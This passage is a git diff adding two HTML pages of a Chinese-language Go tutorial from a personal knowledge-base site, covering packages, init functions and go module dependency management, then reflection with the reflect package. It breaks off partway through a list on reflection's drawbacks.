+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html new file mode 100644 index 0000000..632f167 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html @@ -0,0 +1,259 @@ + + + + + +包与依赖管理 | wjlin0 + + + + + + + +

包与依赖管理

+

本章学习目标

+
    +
  • 掌握包的定义和使用
  • +
  • 掌握init初始化函数的使用
  • +
  • 掌握依赖管理工具go module的使用
  • +
+

在工程化的Go语言开发项目中,Go语言的源码复用是建立在包(package)基础之上的。本文介绍了Go语言中如何定义包、如何导出包的内容及如何引入其他包。同时也将介绍如何在项目中使用go module管理依赖。

+

包(package)​

+

包介绍​

+

Go语言中支持模块化的开发理念,在Go语言中使用包(package)来支持代码模块化和代码复用。一个包是由一个或多个Go源码文件(.go结尾的文件)组成,是一种高级的代码复用方案,Go语言为我们提供了很多内置包,如fmt、os、io等。

+

例如,在之前的章节中我们频繁使用了fmt这个内置包。

+
package main

import "fmt"

func main(){
fmt.Println("Hello world!")
}
+

上面短短的几行代码就涉及到了如何定义包以及如何引入其它包两个内容,接下来我们依次介绍一下它们。

+

定义包​

+

我们可以根据自己的需要创建自定义包。一个包可以简单理解为一个存放.go文件的文件夹。该文件夹下面的所有.go文件都要在非注释的第一行添加如下声明,声明该文件归属的包。

+
package packagename
+

其中:

+
    +
  • package:声明包的关键字
  • +
  • packagename:包名,可以不与文件夹的名称一致,不能包含 - 符号,最好与其实现的功能相对应。
  • +
+

另外需要注意一个文件夹下面直接包含的文件只能归属一个包,同一个包的文件不能在多个文件夹下。包名为main的包是应用程序的入口包,这种包编译后会得到一个可执行文件,而编译不包含main包的源代码则不会得到可执行文件。

+

标识符可见性​

+

在同一个包内部声明的标识符都位于同一个命名空间下,在不同的包内部声明的标识符就属于不同的命名空间。想要在包的外部使用包内部的标识符就需要添加包名前缀,例如fmt.Println("Hello world!"),就是指调用fmt包中的Println函数。

+

如果想让一个包中的标识符(如变量、常量、类型、函数等)能被外部的包使用,那么标识符必须是对外可见的(public)。在Go语言中是通过标识符的首字母大/小写来控制标识符的对外可见(public)/不可见(private)的。在一个包内部只有首字母大写的标识符才是对外可见的。

+

例如我们定义一个名为demo的包,在其中定义了若干标识符。在另外一个包中并不是所有的标识符都能通过demo.前缀访问到,因为只有那些首字母是大写的标识符才是对外可见的。

+
package demo

import "fmt"

// 包级别标识符的可见性

// num 定义一个全局整型变量
// 首字母小写,对外不可见(只能在当前包内使用)
var num = 100

// Mode 定义一个常量
// 首字母大写,对外可见(可在其它包中使用)
const Mode = 1

// person 定义一个代表人的结构体
// 首字母小写,对外不可见(只能在当前包内使用)
type person struct {
name string
Age int
}

// Add 返回两个整数和的函数
// 首字母大写,对外可见(可在其它包中使用)
func Add(x, y int) int {
return x + y
}

// sayHi 打招呼的函数
// 首字母小写,对外不可见(只能在当前包内使用)
func sayHi() {
var myName = "七米" // 函数局部变量,只能在当前函数内使用
fmt.Println(myName)
}
+

同样的规则也适用于结构体,结构体中可导出字段的字段名称必须首字母大写。

+
type Student struct {
Name string // 可在包外访问的方法
class string // 仅限包内访问的字段
}
+

包的引入​

+

要在当前包中使用另外一个包的内容就需要使用import关键字引入这个包,并且import语句通常放在文件的开头,package声明语句的下方。完整的引入声明语句格式如下:

+
import importname "path/to/package"
+

其中:

+
    +
  • importname:引入的包名,通常都省略。默认值为引入包的包名。
  • +
  • path/to/package:引入包的路径名称,必须使用双引号包裹起来。
  • +
  • Go语言中禁止循环导入包。
  • +
+

一个Go源码文件中可以同时引入多个包,例如:

+
import "fmt"
import "net/http"
import "os"
+

当然可以使用批量引入的方式。

+
import (
"fmt"
"net/http"
"os"
)
+

当引入的多个包中存在相同的包名或者想自行为某个引入的包设置一个新包名时,都需要通过importname指定一个在当前文件中使用的新包名。例如,在引入fmt包时为其指定一个新包名f。

+
import f "fmt"
+

这样在当前这个文件中就可以通过使用f来调用fmt包中的函数了。

+
f.Println("Hello world!")
+

如果引入一个包的时候为其设置了一个特殊_作为包名,那么这个包的引入方式就称为匿名引入。一个包被匿名引入的目的主要是为了加载这个包,从而使得这个包中的资源得以初始化。 被匿名引入的包中的init函数将被执行并且仅执行一遍。

+
import _ "github.com/go-sql-driver/mysql"
+

匿名引入的包与其他方式导入的包一样都会被编译到可执行文件中。

+

需要注意的是,Go语言中不允许引入包却不在代码中使用这个包的内容,如果引入了未使用的包则会触发编译错误。

+

init初始化函数​

+

在每一个Go源文件中,都可以定义任意个如下格式的特殊函数:

+
func init(){
// ...
}
+

这种特殊的函数不接收任何参数也没有任何返回值,我们也不能在代码中主动调用它。当程序启动的时候,init函数会按照它们声明的顺序自动执行。

+

一个包的初始化过程是按照代码中引入的顺序来进行的,所有在该包中声明的init函数都将被串行调用并且仅调用执行一次。每一个包初始化的时候都是先执行依赖的包中声明的init函数再执行当前包中声明的init函数。确保在程序的main函数开始执行时所有的依赖包都已初始化完成。包初始化函数执行顺序示意图

+

每一个包的初始化是先从初始化包级别变量开始的。例如从下面的示例中我们就可以看出包级别变量的初始化会先于init初始化函数。

+
package main

import "fmt"

var x int8 = 10

const pi = 3.14

func init() {
fmt.Println("x:", x)
fmt.Println("pi:", pi)
sayHi()
}

func sayHi() {
fmt.Println("Hello World!")
}

func main() {
fmt.Println("你好,世界!")
}
+

输出结果:

+
x: 10
pi: 3.14
Hello World!
你好,世界!
+

在上面的代码中,我们了解了Go语言中包的定义及包的初始化过程,这让我们能够在开发时按照自己的需要定义包。同时我们还学到了如何在我们的代码中引入其它的包,不过在本小节的所有示例中我们都是引入Go内置的包。现代编程语言大多都允许开发者对外发布包/库,也支持开发者在自己的代码中引入第三方库。这样的设计能够让广大开发者一起参与到语言的生态环境建设当中,把生态建设的更加完善。

+

go module​

+

在Go语言的早期版本中,我们编写Go项目代码时所依赖的所有第三方包都需要保存在GOPATH这个目录下面。这样的依赖管理方式存在一个致命的缺陷,那就是不支持版本管理,同一个依赖包只能存在一个版本的代码。可是我们本地的多个项目完全可能分别依赖同一个第三方包的不同版本。

+

go module介绍​

+

Go module 是 Go1.11 版本发布的依赖管理方案,从 Go1.14 版本开始推荐在生产环境使用,于Go1.16版本默认开启。Go module 提供了以下命令供我们使用:

+

go module相关命令

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
命令介绍
go mod init初始化项目依赖,生成go.mod文件
go mod download根据go.mod文件下载依赖
go mod tidy比对项目文件中引入的依赖与go.mod进行比对
go mod graph输出依赖关系图
go mod edit编辑go.mod文件
go mod vendor将项目的所有依赖导出至vendor目录
go mod verify检验一个依赖包是否被篡改过
go mod why解释为什么需要某个依赖
+

Go语言在 go module 的过渡阶段提供了 GO111MODULE 这个环境变量来作为是否启用 go module 功能的开关,考虑到 Go1.16 之后 go module 已经默认开启,所以本书不再介绍该配置,对于刚接触Go语言的读者而言完全没有必要了解这个历史包袱。

+

GOPROXY

+

这个环境变量主要是用于设置 Go 模块代理(Go module proxy),其作用是用于使 Go 在后续拉取模块版本时能够脱离传统的 VCS 方式,直接通过镜像站点来快速拉取。

+

GOPROXY 的默认值是:https://proxy.golang.org,direct,由于某些原因国内无法正常访问该地址,所以我们通常需要配置一个可访问的地址。目前社区使用比较多的有两个https://goproxy.cn和https://goproxy.io,当然如果你的公司有提供GOPROXY地址那么就直接使用。设置GOPAROXY的命令如下:

+
go env -w GOPROXY=https://goproxy.cn,direct
+

GOPROXY 允许设置多个代理地址,多个地址之间需使用英文逗号 “,” 分隔。最后的 “direct” 是一个特殊指示符,用于指示 Go 回源到源地址去抓取(比如 GitHub 等)。当配置有多个代理地址时,如果第一个代理地址返回 404 或 410 错误时,Go 会自动尝试下一个代理地址,当遇见 “direct” 时触发回源,也就是回到源地址去抓取。

+

GOPRIVATE

+

设置了GOPROXY 之后,go 命令就会从配置的代理地址拉取和校验依赖包。当我们在项目中引入了非公开的包(公司内部git仓库或 github 私有仓库等),此时便无法正常从代理拉取到这些非公开的依赖包,这个时候就需要配置 GOPRIVATE 环境变量。GOPRIVATE用来告诉 go 命令哪些仓库属于私有仓库,不必通过代理服务器拉取和校验。

+

GOPRIVATE 的值也可以设置多个,多个地址之间使用英文逗号 “,” 分隔。我们通常会把自己公司内部的代码仓库设置到 GOPRIVATE 中,例如:

+
$ go env -w GOPRIVATE="git.mycompany.com"
+

这样在拉取以git.mycompany.com为路径前缀的依赖包时就能正常拉取了。

+

此外,如果公司内部自建了 GOPROXY 服务,那么我们可以通过设置 GONOPROXY=none,允许通内部代理拉取私有仓库的包。

+

使用go module引入包​

+

接下来我们将通过一个示例来演示如何在开发项目时使用 go module 拉取和管理项目依赖。

+

初始化项目 我们在本地新建一个名为holiday项目,按如下方式创建一个名为holiday的文件夹并切换到该目录下:

+
$ mkdir holiday
$ cd holiday
+

目前我们位于holiday文件夹下,接下来执行下面的命令初始化项目。

+
$ go mod init holiday
go: creating new go.mod: module holiday
+

该命令会自动在项目目录下创建一个go.mod文件,其内容如下。

+
module holiday

go 1.16
+

其中:

+
    +
  • module holiday:定义当前项目的导入路径
  • +
  • go 1.16:标识当前项目使用的 Go 版本
  • +
+

go.mod文件会记录项目使用的第三方依赖包信息,包括包名和版本,由于我们的holiday项目目前还没有使用到第三方依赖包,所以go.mod文件暂时还没有记录任何依赖包信息,只有当前项目的一些信息。

+

接下来,我们在项目目录下新建一个main.go文件,其内容如下:

+
// holiday/main.go

package main

import "fmt"

func main() {
fmt.Println("现在是假期时间...")
}
+

然后,我们的holiday项目现在需要引入一个第三方包github.com/q1mi/hello来实现一些必要的功能。类似这样的场景在我们的日常开发中是很常见的。我们需要先将依赖包下载到本地同时在go.mod中记录依赖信息,然后才能在我们的代码中引入并使用这个包。下载依赖包主要有两种方法。

+

第一种方法是在项目目录下执行go get命令手动下载依赖的包:

+
holiday $ go get -u github.com/q1mi/hello
go get: added github.com/q1mi/hello v0.1.1
+

这样默认会下载最新的发布版本,你也可以指定想要下载指定的版本号的。

+
holiday $ go get -u github.com/q1mi/hello@v0.1.0
go: downloading github.com/q1mi/hello v0.1.0
go get: downgraded github.com/q1mi/hello v0.1.1 => v0.1.0
+

如果依赖包没有发布任何版本则会拉取最新的提交,最终go.mod中的依赖信息会变成类似下面这种由默认v0.0.0的版本号和最新一次commit的时间和hash组成的版本格式:

+
require github.com/q1mi/hello v0.0.0-20210218074646-139b0bcd549d
+

如果想指定下载某个commit对应的代码,可以直接指定commit hash,不过没有必要写出完整的commit hash,一般前7位即可。例如:

+
holiday $ go get github.com/q1mi/hello@2ccfadd
go: downloading github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
go get: added github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
+

此时,我们打开go.mod文件就可以看到下载的依赖包及版本信息都已经被记录下来了。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.0 // indirect
+

行尾的indirect表示该依赖包为间接依赖,说明在当前程序中的所有 import 语句中没有发现引入这个包。

+

另外在执行go get命令下载一个新的依赖包时一般会额外添加-u参数,强制更新现有依赖。

+

第二种方式是我们直接编辑go.mod文件,将依赖包和版本信息写入该文件。例如我们修改holiday/go.mod文件内容如下:

+
module holiday

go 1.16

require github.com/q1mi/hello latest
+

表示当前项目需要使用github.com/q1mi/hello库的最新版本,然后在项目目录下执行go mod download下载依赖包。

+
holiday $ go mod download
+

如果不输出其它提示信息就说明依赖已经下载成功,此时go.mod文件已经变成如下内容。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.1
+

从中我们可以知道最新的版本号是v0.1.1。如果事先知道依赖包的具体版本号,可以直接在go.mod中指定需要的版本然后再执行go mod download下载。

+

这种方法同样支持指定想要下载的commit进行下载,例如直接在go.mod文件中按如下方式指定commit hash,这里只写出来了commit hash的前7位。

+
require github.com/q1mi/hello 2ccfadda
+

执行go mod download下载完依赖后,go.mod文件中对应的版本信息会自动更新为类似下面的格式。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
+

下载好要使用的依赖包之后,我们现在就可以在holiday/main.go文件中使用这个包了。

+
package main

import (
"fmt"

"github.com/q1mi/hello"
)

func main() {
fmt.Println("现在是假期时间...")

hello.SayHi() // 调用hello包的SayHi函数
}
+

将上述代码编译执行,就能看到执行结果了。

+
holiday $ go build
holiday $ ./holiday
现在是假期时间...
你好,我是七米。很高兴认识你。
+

当我们的项目功能越做越多,代码越来越多的时候,通常会选择在项目内部按功能或业务划分成多个不同包。Go语言支持在一个项目(project)下定义多个包(package)。

+

例如,我们在holiday项目内部创建一个新的package——summer,此时新的项目目录结构如下:

+
holidy
├── go.mod
├── go.sum
├── main.go
└── summer
└── summer.go
+

其中holiday/summer/summer.go文件内容如下:

+
package summer

import "fmt"

// Diving 潜水...
func Diving() {
fmt.Println("夏天去诗巴丹潜水...")
}
+

此时想要在当前项目目录下的其他包或者main.go中调用这个Diving函数需要如何引入呢?这里以在main.go中演示详细的调用过程为例,在项目内其他包的引入方式类似。

+
package main

import (
"fmt"

"holiday/summer" // 导入当前项目下的包

"github.com/q1mi/hello" // 导入github上第三方包
)

func main() {
fmt.Println("现在是假期时间...")
hello.SayHi()

summer.Diving()
}
+

从上面的示例可以看出,项目中定义的包都会以项目的导入路径为前缀。

+

如果你想要导入本地的一个包,并且这个包也没有发布到到其他任何代码仓库,这时候你可以在go.mod文件中使用replace语句将依赖临时替换为本地的代码包。例如在我的电脑上有另外一个名为liwenzhou.com/overtime的项目,它位于holiday项目同级目录下:

+
├── holiday
│ ├── go.mod
│ ├── go.sum
│ ├── main.go
│ └── summer
│ └── summer.go
└── overtime
├── go.mod
└── overtime.go
+

由于liwenzhou.com/overtime包只存在于我本地,并不能通过网络获取到这个代码包,这个时候应该如何在holidy项目中引入它呢?

+

我们可以在holidy/go.mod文件中正常引入liwenzhou.com/overtime包,然后像下面的示例那样使用replace语句将这个依赖替换为使用相对路径表示的本地包。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.1
require liwenzhou.com/overtime v0.0.0

replace liwenzhou.com/overtime => ../overtime
+

这样,我们就可以在holiday/main.go下正常引入并使用overtime包了。

+
package main

import (
"fmt"

"holiday/summer" // 导入当前项目下的包

"liwenzhou.com/overtime" // 通过replace导入的本地包

"github.com/q1mi/hello" // 导入github上第三方包
)

func main() {
fmt.Println("现在是假期时间...")
hello.SayHi()

summer.Diving()

overtime.Do()
}
+

我们也经常使用replace将项目依赖中的某个包,替换为其他版本的代码包或我们自己修改后的代码包。

+

go.mod文件

+

go.mod文件中记录了当前项目中所有依赖包的相关信息,声明依赖的格式如下:

+
require module/path v1.2.3
+

其中:

+
    +
  • require:声明依赖的关键字
  • +
  • module/path:依赖包的引入路径
  • +
  • v1.2.3:依赖包的版本号。支持以下几种格式: +
      +
    • latest:最新版本
    • +
    • v1.0.0:详细版本号
    • +
    • commit hash:指定某次commit hash
    • +
    +
  • +
+

引入某些没有发布过tag版本标识的依赖包时,go.mod中记录的依赖版本信息就会出现类似v0.0.0-20210218074646-139b0bcd549d的格式,由版本号、commit时间和commit的hash值组成。

+

go module生成的版本信息组成示意图

+

go.sum文件

+

使用go module下载了依赖后,项目目录下还会生成一个go.sum文件,这个文件中详细记录了当前项目中引入的依赖包的信息及其hash 值。go.sum文件内容通常是以类似下面的格式出现。

+
<module> <version>/go.mod <hash>
+

或者

+
<module> <version> <hash>
<module> <version>/go.mod <hash>
+

不同于其他语言提供的基于中心的包管理机制,例如 npm 和 pypi等,Go并没有提供一个中央仓库来管理所有依赖包,而是采用分布式的方式来管理包。为了防止依赖包被非法篡改,Go module 引入了go.sum机制来对依赖包进行校验。

+

依赖保存位置

+

Go module 会把下载到本地的依赖包会以类似下面的形式保存在 $GOPATH/pkg/mod目录下,每个依赖包都会带有版本号进行区分,这样就允许在本地存在同一个包的多个不同版本。

+
mod
├── cache
├── cloud.google.com
├── github.com
└──q1mi
├── hello@v0.0.0-20210218074646-139b0bcd549d
├── hello@v0.1.1
└── hello@v0.1.0
...
+

如果想清除所有本地已缓存的依赖包数据,可以执行 go clean -modcache 命令。

+

使用go module发布包​

+

在上面的小节中我们学习了如何在项目中引入别人提供的依赖包,那么当我们想要在社区发布一个自己编写的代码包或者在公司内部编写一个供内部使用的公用组件时,我们该怎么做呢?接下来,我们就一起编写一个代码包并将它发布到github.com仓库,让它能够被全球的Go语言开发者使用。

+

我们首先在自己的 github 账号下新建一个项目,并把它下载到本地。我这里就以创建和发布一个名为hello的项目为例进行演示。这个hello包将对外提供一个名为SayHi的函数,它的作用非常简单就是向调用者发去问候。

+
$ git clone https://github.com/q1mi/hello
$ cd hello
+

我们当前位于hello项目目录下,执行下面的命令初始化项目,创建go.mod文件。需要注意的是这里定义项目的引入路径为github.com/q1mi/hello,读者在自行测试时需要将这部分替换为自己的仓库路径。

+
hello $ go mod init github.com/q1mi/hello
go: creating new go.mod: module github.com/q1mi/hello
+

接下来我们在该项目根目录下创建 hello.go 文件,添加下面的内容:

+
package hello

import "fmt"

func SayHi() {
fmt.Println("你好,我是七米。很高兴认识你。")
}
+

然后将该项目的代码 push 到仓库的远端分支,这样就对外发布了一个Go包。其他的开发者可以通过github.com/q1mi/hello这个引入路径下载并使用这个包了。

+

一个设计完善的包应该包含开源许可证及文档等内容,并且我们还应该尽心维护并适时发布适当的版本。github 上发布版本号使用git tag为代码包打上标签即可。

+
hello $ git tag -a v0.1.0 -m "release version v0.1.0"
hello $ git push origin v0.1.0
+

经过上面的操作我们就发布了一个版本号为v0.1.0的版本。

+

Go modules中建议使用语义化版本控制,其建议的版本号格式如下:

+

语义化版本号示意图

+

其中:

+
    +
  • 主版本号:发布了不兼容的版本迭代时递增(breaking changes)。
  • +
  • 次版本号:发布了功能性更新时递增。
  • +
  • 修订号:发布了bug修复类更新时递增。
  • +
+

发布新的主版本

+

现在我们的hello项目要进行与之前版本不兼容的更新,我们计划让SayHi函数支持向指定人发出问候。更新后的SayHi函数内容如下:

+
package hello

import "fmt"

// SayHi 向指定人打招呼的函数
func SayHi(name string) {
fmt.Printf("你好%s,我是七米。很高兴认识你。\n", name)
}
+

由于这次改动巨大(修改了函数之前的调用规则),对之前使用该包作为依赖的用户影响巨大。因此我们需要发布一个主版本号递增的v2版本。在这种情况下,我们通常会修改当前包的引入路径,像下面的示例一样为引入路径添加版本后缀。

+
// hello/go.mod

module github.com/q1mi/hello/v2

go 1.16
+

把修改后的代码提交:

+
hello $ git add .
hello $ git commit -m "feat: SayHi现在支持给指定人打招呼啦"
hello $ git push
+

打好 tag 推送到远程仓库。

+
hello $ git tag -a v2.0.0 -m "release version v2.0.0"
hello $ git push origin v2.0.0
+

这样在不影响使用旧版本的用户的前提下,我们新的版本也发布出去了。想要使用v2版本的代码包的用户只需按修改后的引入路径下载即可。

+
go get github.com/q1mi/hello/v2@v2.0.0
+

在代码中使用的过程与之前类似,只是需要注意引入路径要添加 v2 版本后缀。

+
package main

import (
"fmt"

"github.com/q1mi/hello/v2" // 引入v2版本
)

func main() {
fmt.Println("现在是假期时间...")

hello.SayHi("张三") // v2版本的SayHi函数需要传入字符串参数
}
+

废弃已发布版本

+

如果某个发布的版本存在致命缺陷不再想让用户使用时,我们可以使用retract声明废弃的版本。例如我们在hello/go.mod文件中按如下方式声明即可对外废弃v0.1.2版本。

+
module github.com/q1mi/hello

go 1.16


retract v0.1.2
+

用户使用go get下载v0.1.2版本时就会收到提示,催促其升级到其他版本。

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html new file mode 100644 index 0000000..8877cf1 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html @@ -0,0 +1,156 @@ + + + + + +Go语言基础之反射 | wjlin0 + + + + + + + +

Go语言基础之反射

+

变量的内在机制​

+

Go语言中的变量是分为两部分的:

+
    +
  • 类型信息:预先定义好的元信息。
  • +
  • 值信息:程序运行过程中可动态变化的。
  • +
+

反射介绍​

+

反射是指在程序运行期间对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。

+

支持反射的语言可以在程序编译期间将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口访问反射信息,这样就可以在程序运行期间获取类型的反射信息,并且有能力修改它们。

+

Go程序在运行期间使用reflect包访问程序的反射信息。

+

在上一篇博客中我们介绍了空接口。 空接口可以存储任意类型的变量,那我们如何知道这个空接口保存的数据是什么呢? 反射就是在运行时动态的获取一个变量的类型信息和值信息。

+

reflect包​

+

在Go语言的反射机制中,任何接口值都由是一个具体类型和具体类型的值两部分组成的(我们在上一篇接口的博客中有介绍相关概念)。 在Go语言中反射的相关功能由内置的reflect包提供,任意接口值在反射中都可以理解为由reflect.Type和reflect.Value两部分组成,并且reflect包提供了reflect.TypeOf和reflect.ValueOf两个函数来获取任意对象的Value和Type。

+

TypeOf​

+

在Go语言中,使用reflect.TypeOf()函数可以获得任意值的类型对象(reflect.Type),程序通过类型对象可以访问任意值的类型信息。

+
package main

import (
"fmt"
"reflect"
)

func reflectType(x interface{}) {
v := reflect.TypeOf(x)
fmt.Printf("type:%v\n", v)
}
func main() {
var a float32 = 3.14
reflectType(a) // type:float32
var b int64 = 100
reflectType(b) // type:int64
}
+

type name和type kind​

+

在反射中关于类型还划分为两种:类型(Type)和种类(Kind)。因为在Go语言中我们可以使用type关键字构造很多自定义类型,而种类(Kind)就是指底层的类型,但在反射中,当需要区分指针、结构体等大品种的类型时,就会用到种类(Kind)。 举个例子,我们定义了两个指针类型和两个结构体类型,通过反射查看它们的类型和种类。

+
package main

import (
"fmt"
"reflect"
)

type myInt int64

func reflectType(x interface{}) {
t := reflect.TypeOf(x)
fmt.Printf("type:%v kind:%v\n", t.Name(), t.Kind())
}

func main() {
var a *float32 // 指针
var b myInt // 自定义类型
var c rune // 类型别名
reflectType(a) // type: kind:ptr
reflectType(b) // type:myInt kind:int64
reflectType(c) // type:int32 kind:int32

type person struct {
name string
age int
}
type book struct{ title string }
var d = person{
name: "沙河小王子",
age: 18,
}
var e = book{title: "《跟小王子学Go语言》"}
reflectType(d) // type:person kind:struct
reflectType(e) // type:book kind:struct
}
+

Go语言的反射中像数组、切片、Map、指针等类型的变量,它们的.Name()都是返回空。

+

在reflect包中定义的Kind类型如下:

+
type Kind uint
const (
Invalid Kind = iota // 非法类型
Bool // 布尔型
Int // 有符号整型
Int8 // 有符号8位整型
Int16 // 有符号16位整型
Int32 // 有符号32位整型
Int64 // 有符号64位整型
Uint // 无符号整型
Uint8 // 无符号8位整型
Uint16 // 无符号16位整型
Uint32 // 无符号32位整型
Uint64 // 无符号64位整型
Uintptr // 指针
Float32 // 单精度浮点数
Float64 // 双精度浮点数
Complex64 // 64位复数类型
Complex128 // 128位复数类型
Array // 数组
Chan // 通道
Func // 函数
Interface // 接口
Map // 映射
Ptr // 指针
Slice // 切片
String // 字符串
Struct // 结构体
UnsafePointer // 底层指针
)
+

ValueOf​

+

reflect.ValueOf()返回的是reflect.Value类型,其中包含了原始值的值信息。reflect.Value与原始值之间可以互相转换。

+

reflect.Value类型提供的获取原始值的方法如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法说明
Interface() interface {}将值以 interface{} 类型返回,可以通过类型断言转换为指定类型
Int() int64将值以 int 类型返回,所有有符号整型均可以此方式返回
Uint() uint64将值以 uint 类型返回,所有无符号整型均可以此方式返回
Float() float64将值以双精度(float64)类型返回,所有浮点数(float32、float64)均可以此方式返回
Bool() bool将值以 bool 类型返回
Bytes() []bytes将值以字节数组 []bytes 类型返回
String() string将值以字符串类型返回
+

通过反射获取值​

+
func reflectValue(x interface{}) {
v := reflect.ValueOf(x)
k := v.Kind()
switch k {
case reflect.Int64:
// v.Int()从反射中获取整型的原始值,然后通过int64()强制类型转换
fmt.Printf("type is int64, value is %d\n", int64(v.Int()))
case reflect.Float32:
// v.Float()从反射中获取浮点型的原始值,然后通过float32()强制类型转换
fmt.Printf("type is float32, value is %f\n", float32(v.Float()))
case reflect.Float64:
// v.Float()从反射中获取浮点型的原始值,然后通过float64()强制类型转换
fmt.Printf("type is float64, value is %f\n", float64(v.Float()))
}
}
func main() {
var a float32 = 3.14
var b int64 = 100
reflectValue(a) // type is float32, value is 3.140000
reflectValue(b) // type is int64, value is 100
// 将int类型的原始值转换为reflect.Value类型
c := reflect.ValueOf(10)
fmt.Printf("type c :%T\n", c) // type c :reflect.Value
}
+

通过反射设置变量的值​

+

想要在函数中通过反射修改变量的值,需要注意函数参数传递的是值拷贝,必须传递变量地址才能修改变量值。而反射中使用专有的Elem()方法来获取指针对应的值。

+
package main

import (
"fmt"
"reflect"
)

func reflectSetValue1(x interface{}) {
v := reflect.ValueOf(x)
if v.Kind() == reflect.Int64 {
v.SetInt(200) //修改的是副本,reflect包会引发panic
}
}
func reflectSetValue2(x interface{}) {
v := reflect.ValueOf(x)
// 反射中使用 Elem()方法获取指针对应的值
if v.Elem().Kind() == reflect.Int64 {
v.Elem().SetInt(200)
}
}
func main() {
var a int64 = 100
// reflectSetValue1(a) //panic: reflect: reflect.Value.SetInt using unaddressable value
reflectSetValue2(&a)
fmt.Println(a)
}
+

isNil()和isValid()​

+
isNil()​
+
func (v Value) IsNil() bool
+

IsNil()报告v持有的值是否为nil。v持有的值的分类必须是通道、函数、接口、映射、指针、切片之一;否则IsNil函数会导致panic。

+
isValid()​
+
func (v Value) IsValid() bool
+

IsValid()返回v是否持有一个值。如果v是Value零值会返回假,此时v除了IsValid、String、Kind之外的方法都会导致panic。

+
举个例子​
+

IsNil()常被用于判断指针是否为空;IsValid()常被用于判定返回值是否有效。

+
func main() {
// *int类型空指针
var a *int
fmt.Println("var a *int IsNil:", reflect.ValueOf(a).IsNil())
// nil值
fmt.Println("nil IsValid:", reflect.ValueOf(nil).IsValid())
// 实例化一个匿名结构体
b := struct{}{}
// 尝试从结构体中查找"abc"字段
fmt.Println("不存在的结构体成员:", reflect.ValueOf(b).FieldByName("abc").IsValid())
// 尝试从结构体中查找"abc"方法
fmt.Println("不存在的结构体方法:", reflect.ValueOf(b).MethodByName("abc").IsValid())
// map
c := map[string]int{}
// 尝试从map中查找一个不存在的键
fmt.Println("map中不存在的键:", reflect.ValueOf(c).MapIndex(reflect.ValueOf("娜扎")).IsValid())
}
+

结构体反射​

+

与结构体相关的方法​

+

任意值通过reflect.TypeOf()获得反射对象信息后,如果它的类型是结构体,可以通过反射值对象(reflect.Type)的NumField()和Field()方法获得结构体成员的详细信息。

+

reflect.Type中与获取结构体成员相关的的方法如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法说明
Field(i int) StructField根据索引,返回索引对应的结构体字段的信息。
NumField() int返回结构体成员字段数量。
FieldByName(name string) (StructField, bool)根据给定字符串返回字符串对应的结构体字段的信息。
FieldByIndex(index []int) StructField多层成员访问时,根据 []int 提供的每个结构体的字段索引,返回字段的信息。
FieldByNameFunc(match func(string) bool) (StructField,bool)根据传入的匹配函数匹配需要的字段。
NumMethod() int返回该类型的方法集中方法的数目
Method(int) Method返回该类型方法集中的第i个方法
MethodByName(string)(Method, bool)根据方法名返回该类型方法集中的方法
+

StructField类型​

+

StructField类型用来描述结构体中的一个字段的信息。

+

StructField的定义如下:

+
type StructField struct {
// Name是字段的名字。PkgPath是非导出字段的包路径,对导出字段该字段为""。
// 参见http://golang.org/ref/spec#Uniqueness_of_identifiers
Name string
PkgPath string
Type Type // 字段的类型
Tag StructTag // 字段的标签
Offset uintptr // 字段在结构体中的字节偏移量
Index []int // 用于Type.FieldByIndex时的索引切片
Anonymous bool // 是否匿名字段
}
+

结构体反射示例​

+

当我们使用反射得到一个结构体数据之后可以通过索引依次获取其字段信息,也可以通过字段名去获取指定的字段信息。

+
type student struct {
Name string `json:"name"`
Score int `json:"score"`
}

func main() {
stu1 := student{
Name: "小王子",
Score: 90,
}

t := reflect.TypeOf(stu1)
fmt.Println(t.Name(), t.Kind()) // student struct
// 通过for循环遍历结构体的所有字段信息
for i := 0; i < t.NumField(); i++ {
field := t.Field(i)
fmt.Printf("name:%s index:%d type:%v json tag:%v\n", field.Name, field.Index, field.Type, field.Tag.Get("json"))
}

// 通过字段名获取指定结构体字段信息
if scoreField, ok := t.FieldByName("Score"); ok {
fmt.Printf("name:%s index:%d type:%v json tag:%v\n", scoreField.Name, scoreField.Index, scoreField.Type, scoreField.Tag.Get("json"))
}
}
+

接下来编写一个函数printMethod(s interface{})来遍历打印s包含的方法。

+
// 给student添加两个方法 Study和Sleep(注意首字母大写)
func (s student) Study() string {
msg := "好好学习,天天向上。"
fmt.Println(msg)
return msg
}

func (s student) Sleep() string {
msg := "好好睡觉,快快长大。"
fmt.Println(msg)
return msg
}

func printMethod(x interface{}) {
t := reflect.TypeOf(x)
v := reflect.ValueOf(x)

fmt.Println(t.NumMethod())
for i := 0; i < v.NumMethod(); i++ {
methodType := v.Method(i).Type()
fmt.Printf("method name:%s\n", t.Method(i).Name)
fmt.Printf("method:%s\n", methodType)
// 通过反射调用方法传递的参数必须是 []reflect.Value 类型
var args = []reflect.Value{}
v.Method(i).Call(args)
}
}
+

反射是把双刃剑​

+

反射是一个强大并富有表现力的工具,能让我们写出更灵活的代码。但是反射不应该被滥用,原因有以下三个。

+
    +
  1. 基于反射的代码是极其脆弱的,反射中的类型错误会在真正运行的时候才会引发panic,那很可能是在代码写完的很长时间之后。
  2. +
  3. 大量使用反射的代码通常难以理解。
